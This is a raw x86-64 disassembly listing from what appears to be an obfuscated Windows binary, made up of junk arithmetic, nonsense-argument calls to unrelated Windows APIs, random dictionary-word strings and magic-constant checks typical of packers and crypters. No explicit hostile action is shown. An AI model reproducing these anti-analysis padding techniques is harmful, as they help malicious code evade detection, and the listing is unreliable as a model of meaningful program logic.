mov ecx, dword [rsp + 0x17c8]
call fcn.14010c2d0
nop
jmp 0x14005c6cc
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2f28]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
jmp 0x14005c6f6
mov edx, 0x57
mov rcx, qword [rsp + 0x2e08]
call qword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [rsp + 0x182c], eax
mov eax, dword [rsp + 0x182c]
mov dword [rsp + 0x1830], eax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2f10]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0xcd]
sub ecx, edx
cmp eax, ecx
je 0x14005c78d
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x674], ax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2f10]
mov byte [rcx], al
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14015ae50], ax
jmp 0x14005c8a7
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov byte [rsp + 0xd2], al
movsx eax, word [rsp + 0x660]
movsx ecx, word [rsp + 0x668]
xor eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov dword [rsp + 0x1834], eax
cmp dword [rsp + 0x1834], 0
je 0x14005c7dd
jmp 0x14005c889
mov rax, qword [rsp + 0x2d60]
mov qword [rsp + 0x2f58], rax
movabs rax, 0x448f96e996092915
cmp qword [rsp + 0x2f58], rax
je 0x14005c803
jmp 0x14005c856
lea rax, str.hardback_bravery_denim_Legislators
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2c48]
mov r8d, 0x69
mov edx, 0xc2
mov rcx, qword [rsp + 0x2f60]
call qword [sym.imp.USER32.dll_InsertMenuA]
mov dword [rsp + 0x1838], eax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x17cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
jmp 0x14005c887
lea rax, [rsp + 0x17ec]
mov qword [rsp + 0x2f68], rax
mov rax, qword [rsp + 0x2ed0]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
jmp 0x14005c8a7
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2bf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
movzx eax, word [rsp + 0x664]
movzx ecx, word [rsp + 0x628]
sub eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x2d70]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14005ca29
lea rax, [rsp + 0xce]
mov qword [rsp + 0x2f70], rax
mov eax, dword [rsp + 0x1714]
mov dword [rsp + 0x183c], eax
cmp dword [rsp + 0x183c], 0x6c72f57e
je 0x14005c926
jmp 0x14005c985
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
movzx ecx, word [0x14015ae50]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov r8d, 0xdc
lea rdx, [rsp + 0x11540]
lea rcx, str.electability_Inlaid_fudged_advocates_blazing
call qword [sym.imp.USER32.dll_CharToOemBuffA]
mov dword [rsp + 0x1838], eax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xd0], al
jmp 0x14005c9dd
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov eax, dword [rsp + 0x172c]
mov dword [rsp + 0x1840], eax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1728]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1770], eax
mov dword [rsp + 0x1844], 0xdbf8
mov rax, qword [rsp + 0x2e30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2cd0]
mov qword [rsp + 0x2f78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2f78]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2ea0]
mov qword [rcx], rax
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x2f80], rax
jmp 0x14005cb64
mov rax, qword [rsp + 0x2d60]
mov qword [rsp + 0x2f88], rax
movabs rax, 0x5290770051cb50d3
cmp qword [rsp + 0x2f88], rax
je 0x14005ca52
jmp 0x14005caeb
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov dword [rsp + 0x38], SHGetNewLinkInfoA
lea rax, [rsp + 0x628]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], SHTestTokenMembership
mov dword [rsp + 0x20], ILClone
lea r9, str.arrangements_Theoretician_slug_parabolic
mov r8d, 0xa4
mov edx, 0x1f
mov rcx, qword [rsp + 0x2de8]
call qword [sym.imp.USER32.dll_TabbedTextOutA]
mov dword [rsp + 0x1728], eax
mov r9d, dword [rsp + 0x1840]
movzx r8d, byte [rsp + 0xcd]
mov rax, qword [rsp + 0x2d20]
mov edx, dword [rax]
mov rax, qword [rsp + 0x2ca8]
movzx ecx, word [rax]
call fcn.14010b860
nop
jmp 0x14005cb64
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xcf], al
movzx eax, byte [rsp + 0xd1]
movzx ecx, byte [rsp + 0x8a]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movzx eax, word [rsp + 0x664]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x2cc0]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0xcd]
mov rax, qword [rsp + 0x2cd8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rax]
call fcn.14010cd90
nop
movzx eax, byte [rsp + 0xd1]
movzx ecx, byte [rsp + 0xce]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0xd2]
sub ecx, edx
cmp eax, ecx
jl 0x14005cda5
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
lea rax, [rsp + 0x65c]
mov qword [rsp + 0x2f90], rax
mov rax, qword [rsp + 0x2d80]
movzx eax, byte [rax]
mov byte [rsp + 0x1848], al
cmp byte [rsp + 0x1848], 0
je 0x14005cbf5
cmp byte [rsp + 0x1848], 0x59
je 0x14005cd6f
jmp 0x14005cda5
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2ea0]
mov rdx, qword [rsp + 0x2e30]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jge 0x14005cd5d
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, PathMakeUniqueName
mov r8d, 0xd3
mov edx, 5
mov rcx, qword [rsp + 0x2e08]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x184c], eax
movzx eax, byte [rsp + 0xce]
mov byte [rsp + 0x1850], al
cmp byte [rsp + 0x1850], 0x2e
je 0x14005cd26
cmp byte [rsp + 0x1850], 0x34
je 0x14005cc8f
jmp 0x14005cd5d
mov rax, qword [rsp + 0x2f10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
mov rcx, qword [rsp + 0x2f10]
mov byte [rcx], al
mov rax, qword [rsp + 0x2f80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2f68]
mov rcx, qword [rsp + 0x2dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x2ec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2f98]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x2fa0]
mov r8d, 0x8a
mov edx, ILFindLastID
mov rcx, qword [rsp + 0x2fa8]
call qword [sym.imp.USER32.dll_SetMenuItemBitmaps]
mov dword [rsp + 0x16c0], eax
jmp 0x14005cd5d
mov rax, qword [rsp + 0x2e30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2cd0]
mov qword [rsp + 0x2fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2fb0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2ea0]
mov qword [rcx], rax
lea rax, [rsp + 0x17e8]
mov qword [rsp + 0x2fb8], rax
jmp 0x14005cda5
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xc1
mov r9d, 0xee
mov r8d, reloc.SHELL32.dll_ILCombine
mov edx, PathYetAnotherMakeUniqueName
mov rcx, qword [rsp + 0x2fc0]
call qword [sym.imp.KERNEL32.dll_SetTapePosition]
mov dword [rsp + 0x1840], eax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2f70]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
movzx eax, word [rsp + 0x670]
movzx ecx, word [0x14015ae50]
xor eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov eax, dword [rsp + 0x174c]
sub eax, 0x99
mov dword [rsp + 0x174c], eax
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
add eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movsx eax, word [rsp + 0x668]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x664]
and eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x17ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2f28], rax
mov eax, dword [rsp + 0x1840]
mov ecx, dword [rsp + 0x17d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2cd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2c48], rax
movzx eax, byte [rsp + 0xd1]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x66c]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14015a008], ax
mov rax, qword [rsp + 0x2e68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2f10]
mov byte [rcx], al
cmp dword [rsp + 0x174c], 0x28e4
jae 0x14005cda5
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x670]
sub eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x660]
xor eax, ecx
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2f28]
movzx ecx, al
mov rax, qword [rsp + 0x2c40]
shr rax, cl
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x17d0]
movzx ecx, al
mov eax, dword [rsp + 0x17e8]
shl eax, cl
mov dword [rsp + 0x17cc], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2ea0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x17ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2ec8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14015a008], ax
movsx eax, word [rsp + 0x668]
movsx ecx, word [0x14015a00c]
and eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd1]
add eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2f80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2ea0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov rcx, qword [rsp + 0x2fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1788], eax
mov eax, dword [rsp + 0x1770]
mov rcx, qword [rsp + 0x2dc0]
mov qword [rsp + 0x2fc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2fc8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1714], eax
mov rax, qword [rsp + 0x2f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2f70]
mov byte [rcx], al
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2d50]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14015ae50], ax
movsx eax, word [rsp + 0x668]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x66c], ax
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd2]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov eax, dword [rsp + 0x17d0]
mov ecx, dword [rsp + 0x17e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov eax, dword [rsp + 0x17e0]
sub eax, 0x1c
mov dword [rsp + 0x17e0], eax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1714]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1728], eax
mov rax, qword [rsp + 0x2ed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2f80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2ea0]
mov rcx, qword [rsp + 0x2cd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2c48], rax
movsx eax, word [rsp + 0x668]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0xd1]
sub eax, ecx
mov byte [rsp + 0x8a], al
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0xd0]
sub eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x670], ax
cmp dword [rsp + 0x17e0], 0x3a60
jae 0x14005cf79
lea rax, [rsp + 0x2bf0]
mov qword [rsp + 0x2fd0], rax
mov rax, qword [rsp + 0x2f80]
mov rcx, qword [rsp + 0x2f28]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x17e8]
mov dword [rsp + 0x1854], eax
mov rax, qword [rsp + 0x2fd0]
mov rcx, qword [rsp + 0x2ea0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2d60]
mov rdx, qword [rsp + 0x2cd0]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jge 0x14005d3b0
mov rax, qword [rsp + 0x2f68]
mov ecx, dword [rsp + 0x1798]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1770], eax
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
movzx r9d, byte [rsp + 0xd0]
movzx r8d, byte [rsp + 0xcd]
mov rax, qword [rsp + 0x2f80]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x2bf0]
call fcn.14010cd90
nop
cmp dword [rsp + 0x17c0], 0x68b8
jbe 0x14005d9c3
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [0x14015a00c]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
movzx eax, word [rsp + 0x628]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14015ae50], ax
mov rax, qword [rsp + 0x2f70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd2]
sub eax, ecx
mov rcx, qword [rsp + 0x2f70]
mov byte [rcx], al
movsx eax, word [0x14015a008]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ea0]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2f80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2f28], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x17cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2fb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2f68]
mov rcx, qword [rsp + 0x2db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1728], eax
movsx eax, byte [rsp + 0xcd]
movsx ecx, byte [rsp + 0xd0]
sar eax, cl
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x66c]
shl eax, cl
mov word [0x14015a00c], ax
mov rax, qword [rsp + 0x2e68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xd0], al
movzx eax, word [rsp + 0x65c]
movzx ecx, word [0x14015ae50]
xor eax, ecx
mov word [rsp + 0x628], ax
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0xd2]
and eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2ea0]
mov rcx, qword [rsp + 0x2e30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1714]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d20]
mov rcx, qword [rsp + 0x2fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcd], al
movzx eax, word [rsp + 0x628]
movzx ecx, word [rsp + 0x664]
add eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2f70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd1], al
movzx eax, word [0x14015ae50]
movzx ecx, word [rsp + 0x664]
or eax, ecx
mov rcx, qword [rsp + 0x2f90]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d18]
mov qword [rsp + 0x2fd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2fd8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
mov eax, dword [rsp + 0x17d0]
mov rcx, qword [rsp + 0x2d20]
mov qword [rsp + 0x2fe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2fe0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x2fb8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x17c0]
sub eax, 0x94
mov dword [rsp + 0x17c0], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2ea0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x17ec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0xce]
and eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2f10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x628]
sub eax, ecx
mov rcx, qword [rsp + 0x2f90]
mov word [rcx], ax
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd0]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bf0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2ea0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x17f4]
mov ecx, dword [rsp + 0x1788]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1714]
mov ecx, dword [rsp + 0x1728]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2ec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2d18]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xd1], al
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2f90]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2fd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2d88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2f28], rax
mov eax, dword [rsp + 0x17ec]
mov ecx, dword [rsp + 0x1728]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1854]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2fb8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x628]
movzx ecx, word [rsp + 0x664]
sub eax, ecx
mov word [rsp + 0x670], ax
movsx eax, byte [rsp + 0xd0]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
movsx eax, word [rsp + 0x674]
movsx ecx, word [rsp + 0x66c]
add eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
jmp 0x14005d3b0
movsx eax, word [0x14015a00c]
movsx ecx, word [rsp + 0x674]
sub eax, ecx
mov word [rsp + 0x66c], ax
movzx eax, byte [rsp + 0xd1]
movzx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov byte [rsp + 0xd2], al
movzx eax, word [rsp + 0x670]
movzx ecx, word [rsp + 0x628]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov eax, dword [rsp + 0x1714]
mov dword [rsp + 0x17ec], eax
mov rax, qword [rsp + 0x2d60]
movzx ecx, al
mov rax, qword [rsp + 0x2c48]
shl rax, cl
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1840]
shr eax, cl
mov rcx, qword [rsp + 0x2fb8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x660]
movsx ecx, word [rsp + 0x674]
xor eax, ecx
mov word [rsp + 0x668], ax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
and eax, ecx
